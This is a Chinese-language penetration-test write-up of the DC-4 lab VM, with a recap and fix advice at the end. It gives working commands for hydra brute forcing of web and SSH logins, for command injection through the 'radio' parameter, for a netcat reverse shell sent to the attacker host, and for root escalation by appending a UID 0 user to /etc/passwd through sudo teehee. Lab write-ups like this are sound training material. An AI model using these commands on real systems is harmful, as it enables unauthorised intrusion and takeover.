DC4靶机的渗透测试与复盘

DC4靶机的渗透测试与复盘
DC4靶机的渗透测试与复盘本次渗透测试针对DC4靶机通过nmap扫描发现Nginx服务和SSH端口。网站为一个System Tools登录页面使用hydra爆破出admin/happy密码进入后台发现命令执行功能存在命令注入漏洞通过修改radio参数反弹shell获得www-data权限。信息收集发现jim用户目录下有密码字典利用hydra爆破jim的SSH密码jibril04。查看邮件获取charles的密码最终利用charles用户的sudo teehee权限向/etc/passwd写入新用户提权至root。一、环境准备下载DC4靶机导入VM设置为NAT模式Kali也设置为NAT模式。靶机IP192.168.123.140攻击机IP192.168.123.139。二、信息收集用nmap扫描靶机开放端口nmap -A -p- 192.168.123.140发现开放了两个端口22SSH和80HTTP80端口是 nginx 1.15.10页面标题为“System Tools”。访问http://192.168.123.140/只有一个登录框。用 dirsearch 扫目录dirsearch -u http://192.168.123.140/ --exclude-status404,403发现/command.php、/login.php、/logout.php等文件说明登录后可能有命令相关功能。三、暴力破解使用 hydra 对登录页面进行爆破不知道用户名是什么但是基于经验基本为admin于是进行尝试hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.123.140 http-post-form /login.php:username^USER^password^PASS^:Slogout -F成功爆破出密码happy。用admin / happy登录后台。四、命令注入漏洞利用登录后看到三个命令选项List Files、Disk Usage、Disk Free。点击run发现会显示对应的的结果。用 Burp Suite 抓包发现提交的参数为radiols-l。尝试在参数后面拼接命令radiols -l;idsubmitRun成功执行id命令返回uid33(www-data)确认存在命令注入漏洞。在攻击机开启监听nc -lvnp 4444通过修改 radio 参数反弹 shellradiols -l;nc 192.168.123.139 4444 -e /bin/bashsubmitRun成功获得www-data权限的 shell。五、信息收集与横向移动查看/home目录发现三个用户charles、jim、sam。在 jim 的目录中发现backups/old-passwords.bak密码字典文件。将密码字典复制到攻击机用 hydra 爆破 jim 的 SSH 密码hydra -l jim -P /home/kali/Desktop/dc4.txt ssh://192.168.123.140成功爆破出密码jibril04。SSH 登录 jimssh jim192.168.123.140六、邮件信息收集登录 jim 后提示You have mail.查看邮件cat /var/mail/jim发现 Charles 发给 jim 的一封邮件里面写道I’m heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.Password is: ^xHhAhvim0y获取到 Charles 的密码。七、sudo 提权切换到 charles 用户su - charles密码^xHhAhvim0y检查 sudo 权限sudo -l发现 charles 可以无密码以 root 权限执行/usr/bin/teehee。teehee就是tee命令可以追加写入文件。利用它往/etc/passwd中添加一个 UID0 的 root 用户echo peng::0:0:::/bin/bash | sudo teehee -a /etc/passwd然后直接切换过去su peng成功获得root 权限八、获取 flagcd /root cat flag.txt拿到最终的 flag。九、渗透复盘完整攻击链信息收集nmap→ 发现 Nginx SSH ↓ hydra 爆破 → admin/happy 登录后台 ↓ 发现命令执行功能 → Burp 抓包修改 radio 参数 → 命令注入 ↓ 反弹 shell → 获得 www-data 权限 ↓ 发现 old-passwords.bak → hydra 爆破 jim 的 SSH 密码 ↓ SSH 登录 jim → 查看邮件获取 charles 密码 ↓ 切换到 charles → sudo -l 发现 teehee 提权 ↓ echo peng::0:0:::/bin/bash | sudo teehee -a /etc/passwd → su peng → root!核心知识点hydra 爆破— 使用Slogout作为成功标记精准爆破命令注入— 参数未过滤直接拼接系统命令横向移动— 从 www-data → jim → charles 逐层突破邮件信息泄露— 用户密码通过邮件明文传递teehee 提权— 利用sudo tee -a追加写入/etc/passwd添加 root 用户安全修复建议登录页面加验证码或限制尝试次数— 防止 hydra 暴力破解命令执行参数做白名单校验— 不允许拼接额外命令禁止邮件中明文传输密码— 密码应通过安全通道传递sudo 权限最小化— teehee 不应赋予 NOPASSWD 的 root 权限